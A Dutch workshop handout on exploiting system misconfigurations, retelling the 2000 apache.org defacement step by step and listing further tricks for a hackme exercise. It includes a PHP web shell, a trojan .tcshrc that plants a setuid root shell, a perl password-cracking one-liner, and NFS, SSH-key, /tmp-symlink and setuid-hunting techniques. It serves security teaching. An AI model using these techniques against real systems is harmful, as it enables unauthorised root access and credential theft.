

Benutten van configuratiefouten

Peter van Dijk, peter@dataloss.nl

Inhoudsopgave

1 Een verhaal	2
1.1 FTP, schrijfbare directories	2
1.2 Een stukje PHP	3
1.3 Een beetje comfort && bescherming	3
1.4 Onward Ride	3
1.5 Iets met paarden en Grieken	4
1.6 Overdaad schaadt	4
1.7 Opruimen	4
2 Lessons learned	4
2.1 Rechten	5
2.2 Root Almighty	5
3 Grabbelton	5
3.1 /etc/passwd	6
3.2 NFS	7
3.3 SSH	7
3.4 /tmp	8
3.5 setuid, setgid binaries	8
4 Afsluiting	8
A UNIX rechten spiekbriefje	9

Samenvatting

Niet alle gaten in machines zijn programmeerfouten. Minstens zo effectief (en dus interessant) zijn fouten gemaakt door gebruikers of beheerders. We zullen in deze workshop een concreet verhaal bekijken en wat voorbeelden, om je een idee te geven van het soort fouten dat je tegen kunt komen.

1 Een verhaal

Het verhaal dat we zullen bekijken is de deface van *www.apache.org*, die in april/mei 2000 gebeurde. Deze deface gebeurde puur door middel van configuratiefouten en lag nergens aan software of zelfs de documentatie van de software.

We hopen dat dit verhaal jullie prikkelt, en het geheel wat tastbaar maakt!

1.1 FTP, schrijfbare directories

De aanzet tot het inbreken bij apache.org werd gegeven door het spotten van een rechten-probleem op de ftp-server. Er werd een simpele commandline FTP-client gebruikt, waardoor alle informatie meteen in beeld kwam.

Een sessie had er zo uit kunnen zien:

```
-bash-2.05b$ ftp ftp.apache.org
Connected to ftp.apache.org.
220-Welcome to the Apache FTP Server
220-You are user number 8 of 256 allowed.
220 You will be disconnected after 5 minutes of inactivity.
Name (ftp.apache.org:charlie): ftp
331 Any password will work
Password:
230 Any password will work
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Connecting to port 23375
drwxr-xr-x   3 0      0      4096 May 30 10:47 .
drwxr-xr-x   3 0      0      4096 May 30 10:47 ..
drwxr-xr-x  26 0      0      4096 May 30 11:17 pub
-rw-r--r--   1 0      0      292  May 19 16:26 welcome.msg
226-Options: -a -l
226 4 matches total
ftp> cd pub
250-
250- Welcome to the Apache.org FTP server
250-
250 OK. Current directory is /pub
ftp> ls
200 PORT command successful
150 Connecting to port 23384
```

```

drwxr-xr-x  26 0      0          4096 May 30 11:17 .
drwxr-xr-x   3 0      0          4096 May 30 10:47 ..
lrwxrwxrwx   1 0      0           14 May 30 10:47 .message -> ../welcome.msg
drwxr-xr-x  14 0      0          4096 Jun 30 12:20 apache
drwxr-xr-x  11 0      0          4096 Jan  1  2002 software
drwxrwxrwx  11 0      0          4096 Jan  1  2003 bugzilla
226-Options: -a -l
226 27 matches total
ftp>

```

Merk op dat de directory 'bugzilla' er erg open uit ziet¹. Het punt dat op dit moment opviel (zonder illustratie verder) is dat de directory-structuur op de ftp-server verdacht veel leek op die van de website. Wat onderzoek leerde dat dit inderdaad zo was!

1.2 Een stukje PHP

De vraag: hoe hier iets moois van te maken. Iemand kwam op het idee dat PHP misschien wel aan zou staan op deze webserver, en dit bleek waar.

Nu kun je steeds een ander stukje php uploaden om iets te doen, maar een stukje php dat bereid is commando's uit te voeren zoals-ie ze krijgt is natuurlijk fijner.

Het volgende stukje php werd geupload in de bugzilla-directory:

```

<?
    passthru($cmd);
?>

```

Deze werkte daarna bijvoorbeeld als: <http://www.apache.org/bugzilla/wuh.php3?cmd=id>
Dit bleek erg goed te werken.

1.3 Een beetje comfort && bescherming

Zo'n interface via http is natuurlijk leuk maar valt erg hard op in logfiles, en werkt toch niet echt lekker. Een *bindshell* die draaide onder de naam 'httpd' bood uitkomst.

1.4 Onward Ride

Goed. Shell access als user nobody is verkregen. Dat levert (meestal) nog niet zo veel op.

Verder zoeken leverde een interessant gegeven op: mysql draaide als root. Wat graven in de bugzilla configuratie (bugzilla gebruikt mysql) leverde een

¹Zie appendix A voor uitleg

geldige mysql-login op. Een portredirect erbij en de mysql was op afstand toegankelijk, nog steeds beschermd door de bugzilla-login.

Login 'bugs' (van bugzilla) bleek *volledige rechten* te hebben op de mysql-daemon. Duidelijk gevalletje configuratiefout dus!

Volledige rechten op de mysql-daemon levert een interessante mogelijkheid op: '*SELECT INTO OUTFILE;*'. Deze files bleken mode 666 aangemaakt te worden, en mysql weigerde al bestaande files te overschrijven. Toch leek dit erg nuttig.

Wat te doen? .rhosts-files schrijven is op moderne machines niet effectief: rshd draaien de meeste mensen niet, en als-ie wel draait pikt-ie niet meer zomaar wildcards. Wereld-schrijfbare .rhosts-files (mode 666) worden al veel langer geweigerd.

1.5 Iets met paarden en Grieken

De uiteindelijke oplossing: een tijdbommetje, of trojaans paard, zo U wilt. Een kleine database met 1 tabel erin met 1 kolom, een paar INSERT's en één SELECT later was er een /root/.tcshrc als de volgende:

```
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
```

Nu wachten..

1.6 Overdaad schaadt

Bij apache.org waren er 9 (negen!) mensen met root. Dat betekent dat de kans groot is dat er snel iemand inlogt, en dat gebeurde dus ook.

De rootshell (/tmp/.rootsh) werd netjes aangemaakt, root werd verkregen en de deface was daarna uiteraard simpel.

1.7 Opruimen

Een deface trekt aandacht, dus de gaten moesten dicht. De ftproot werd wat aangepast om alle files die mensen echt willen downloaden beschikbaar te houden, met het gat gedicht. Daarna zijn de apache.org beheerders op de hoogte gesteld, die snel actie ondernamen.

2 Lessons learned

We hopen dat jullie hebben genoten van dit verhaal en er misschien wat tips uit hebben opgepikt. Er zijn echter nog veel meer dingen die een beheerder fout kan doen. We zullen eerst de fouten die we net hebben gezien iets breder bekijken, en dan in sectie 3 nog een stapel andere dingen bekijken.

2.1 Rechten

Rechten in UNIX (appendix A) zijn een dubbelloops geweer – als je goed mikt doen ze hun werk goed, als je slecht mist kost 't je niet alleen je voet maar ook driekwart van je been.

Met rechten zijn er op 2 niveaus fouten te maken:

1. Dingen leesbaar maken die niet leesbaar horen te zijn
2. Dingen schrijfbaar maken die niet schrijfbaar horen te zijn

Bij apache.org was sprake van beide fouten: via ftp was er een directory schrijfbaar die niet schrijfbaar hoorde te zijn, en de bugzilla-config was leesbaar, waardoor login-gegevens uitlekten.

Hier zit een hint in: authenticatie-gegevens (logins, wachtwoorden, sleutels, certificaten) hoort de wereld niet te kunnen lezen. Als dat wel kan, is er gevaar. Hierover later meer.

Bedenk ook wat voor mogelijkheden een schrijfbaar directory allemaal op kan leveren! Bij apache.org was het mogelijk zelfgeschreven code te plaatsen, en deze langs een andere weg uit te voeren. Soms zal het zelfs mogelijk zijn authenticatie-data te plaatsen in een schrijfbaar directory, en daar vervolgens mee in te loggen. Gebruik je fantasie!

Als bonus nog een lijstje van dingen die je tegen kunt komen:

- Backups die iedereen kan lezen
- Uitvoerbare programma's die schrijfbaar zijn, en periodiek automatisch worden uitgevoerd

2.2 Root Almighty

root is een machtige gebruiker. Binnen zijn machine is hij zelfs oppermachtig. Hij mag alle rechten aanpassen, files aanmaken en verwijderen naar zijn eigen wens. Dat is handig en maakt veel dingen makkelijk. Het is echter ook heel gevaarlijk – iemand die ook root weet te worden kan meteen erg veel.

Software (mysqld als voorbeeld) als root draaien is dus heel erg dom. Erg weinig software heeft al die macht nodig die root heeft, en als een inbreker zo'n stuk software weet te beheersen is-ie dus erg gauw root.

Ook hier weer: gebruik je fantasie! (Hint: wat gebeurt er als apache als root draait, en je kunt php-code uploaden?)

3 Grabbelton

Om jullie nog lekker wat voor te bereiden op de hackme, krijgen jullie hier een grabbelton aan configuratiefouten. Neem deze papieren mee en probeer de methoden uit!

3.1 /etc/passwd

Op UNIX staan gebruikers met hun gegevens (inclusief wachtwoord) traditioneel in de `/etc/passwd` file. Een regel ziet er bijvoorbeeld als volgt uit:

```
peter:jhXZCok85dVCE:1001:20:Peter van Dijk:/home/staff/peter:/bin/bash
```

Deze regel vertelt ons het volgende: gebruiker 'peter', die 'Peter van Dijk' heet, heeft z'n homedir in `/home/staff/peter` en logt in met `/bin/bash` als shell. Zijn gebruikersnummer is 1001, en z'n hoofdgroep is 20.

Eén veld is dan nog niet verklaard: `jhXZCok85dVCE`. Dit veld bevat een onomkeerbaar verbouwde versie van het wachtwoord van de gebruiker. Interessant! Het blijkt dat deze onomkeerbaarheid nog steeds geldig is – niemand heeft de achterliggende wiskunde om weten te keren.

Maar dat houdt ons niet tegen. Als het login-proces aan dat verbouwde wachtwoord kan zien of jij het goede wachtwoord hebt ingetikt, moet daar toch iets mee te doen zijn?

Het antwoord: ja, maar het doet pijn. Het omzetten van een wachtwoord naar zo'n gecrypt wachtwoord kunnen we zelf ook. Als we dat dan met heel veel verschillende wachtwoorden proberen, kunnen we misschien wel ontdekken welk wachtwoord er bij dat stukje bagger hoort.

We laten jullie achter met een perl-oneliner om wachtwoorden te controleren, waarbij we meteen laten zien dat deze gebruiker 'peter' wel een erg dom wachtwoord heeft:

```
bash$ perl -e 'print crypt('retep','jhXZCok85dVCE')."\n";'  
jhXZCok85dVCE
```

Je kunt dit stukje perl als volgt zelf gebruiken: vervang 'retep' door het wachtwoord dat je wilt proberen, en vervang `jhXZCok85dVCE` door de gecrypte versie die je hebt gevonden. Als er ook weer die gecrypte versie uit komt, heb je het wachtwoord gevonden.

Er bestaan overigens al tools die deze klus grondig automatiseren en honderdduizenden wachtwoorden per seconde voor je proberen. Populair op dit gebied zijn 'john' en 'Crack'.

Spelbreker: op moderne machines is het wachtwoord verplaatst naar de file `/etc/shadow`, die gewone users niet mogen lezen. Gelukkig is het inschakelen van deze maatregel ook iets dat beheerders kunnen vergeten.

`.htaccess`-files, zoals gebruikt door de Apache-webserver, gebruiken voor wachtwoord-authenticatie overigens dezelfde methode. Ook daar kun je dus met het gegeven stukje perl je pogingen doen.

Een extra leuk detail hier is dat veel grotere netwerken hun authenticatie-data centraal regelen, en elke machine hier dus bij kan. We gaan hier niet verder op in, maar `ypcat passwd` en/of de library-calls `getpwnam/getpwent` kunnen hier uitkomst bieden.

3.2 NFS

NFS, het Network File System, is lang geleden ontworpen door Sun om bestandssystemen te kunnen delen tussen UNIX-machines, over een netwerk. NFS is nog steeds erg populair onder beheerders: het werkt makkelijk, het is met wat moeite redelijk snel, en het werkt met elke bak die je in je netwerk hangt.

NFS is echter niet zo sterk met authenticatie. Primair gebeurt die puur op IP, dus een netwerk waarop NFS wordt gebruikt moet goed afgeschermd worden.

Om een NFS-share te kunnen mounten, en daarmee misschien verder te komen bij het inbreken op een machine, kunnen we een aantal dingen bekijken:

- Kunnen we ons voordoen als een 'trusted' machine?
- Hebben we al veel access (root?) op een trusted machine?
- Staat NFS door een configuratiefout voor de hele wereld open?

We zullen jullie ook hier weer wat recepten geven, en de rest overlaten aan jullie eigen fantasie en uitzoek-drang. Je kunt door middel van `rpcinfo -p hostnaam` kijken of een machine NFS (en een aantal andere diensten, leef je uit) draait. Als een machine NFS draait (dit is te zien doordat `rpcinfo 'nfs'` en `'mountd'` noemt), kun je met `showmount -e hostnaam` kijken welke directories er worden geëxporteerd, en waarheen.

3.3 SSH

De problemen met telnet zijn bekend – alles gaat goed leesbaar over de lijn, en iedereen kan dus lekker meelesen, inclusief je wachtwoorden. De oplossing: Secure SHell. Secure SHell levert veilige (gecrypte) shell-verbindingen. Er gaat niks meer leesbaar over de lijn, zelfs geen wachtwoorden.

Sommige mensen vonden dit echter niet genoeg: wachtwoorden zijn eng en wachtwoorden blijven dus eng. SSH erkent dit probleem en levert public/private-key authenticatie. Waar dit op neerkomt is dat een gebruiker een sleutelpaar aanmaakt, 1 deel private, 1 deel public. Het private deel houdt-ie voor zichzelf, het public deel plaatst hij bijvoorbeeld op een SSH-server waar hij in wil loggen. Het hebben van het private deel geeft recht tot toegang op elke plek waar het public deel staat.

Een wachtwoord sniffen lukt dus niet meer. Maar deze methode heeft een keerzijde: als iemand de private key bemachtigt, kan-ie overal in, zonder wachtwoord! Alles met betrekking tot SSH staat in de home-directory van de gebruiker, onder `'ssh'`.

3.4 /tmp

/tmp is een soort virtuele rommelhoek: iedereen stopt er maar in wat-ie toevallig even ergens kwijt moet. Zo ook, te vaak, root. Ook hier kun je je voordeel doen. Als je weet dat root over 3 minuten een file met een voorspelbare naam gaat schrijven, kun je die naam zelf alvast aanmaken – bijvoorbeeld als symbolic link naar een belangrijke configuratiefile.

3.5 setuid, setgid binaries

Sommige taken die een gebruiker uit wil kunnen voeren, vereisen eigenlijk root-rechten (of andere 'verhoogde' rechten). Nu wil je als beheerder je gebruikers natuurlijk niet zomaar root geven. Hier is een oplossing voor: de setuid binary.

Een setuid binary heeft een speciaal bitje aanstaan (zie appendix A) wat inhoudt dat de gebruiker tijdens het uitvoeren van die binary verhoogde rechten heeft. Praktisch, maar gevaarlijk! Eén kleine bug in die binary verschaft de gebruiker voorgoed die verhoogde rechten.

Wat heeft dit nu met configuratiefouten te maken? Antwoord: beheerders zijn soms lui als gebruikers iets willen, en delen dan zonder hard na te denken setuid-bitjes uit aan binaries, of schrijven buggy wrappers om de gebruiker een specifieke taak als root te laten doen.

Je kunt setuid binaries vinden met een opdracht als `find / -type -4000`, en setgid binaries met `find / -type -2000`.

4 Afsluiting

We hopen met deze voorbeelden jullie fantasie wat te hebben geprikkeld! Jullie mogen je nu gezamenlijk gaan uitleven op een speciaal voorbereide machine, met een aantal configuratiefouten, zodat je bij de hackme vanavond ook nog ongeveer weet waar je mee bezig bent.

We wensen jullie veel succes!

A UNIX rechten spiekbriefje

Opdeling van de hele set rechten:

type		rechten eigenaar		rechten groep		rechten rest		eigenaar		groep
-		rwX		rwX		rwX		peter		users

type is '-' voor gewone files, 'd' voor directories, 'l' voor symlinks

rechten is 'r' geeft leesrecht, 'w' geeft schrijfrecht, 'x' geeft uitvoerrecht, 's' is uitvoer met setuid/setgid

rechten in letters		rechten in cijfers
-rwx-----		0700
-rwxr-xr-x		0755
-rwsr-xr-x		4755
-r-----		0400
-rw-rw-rw-		0666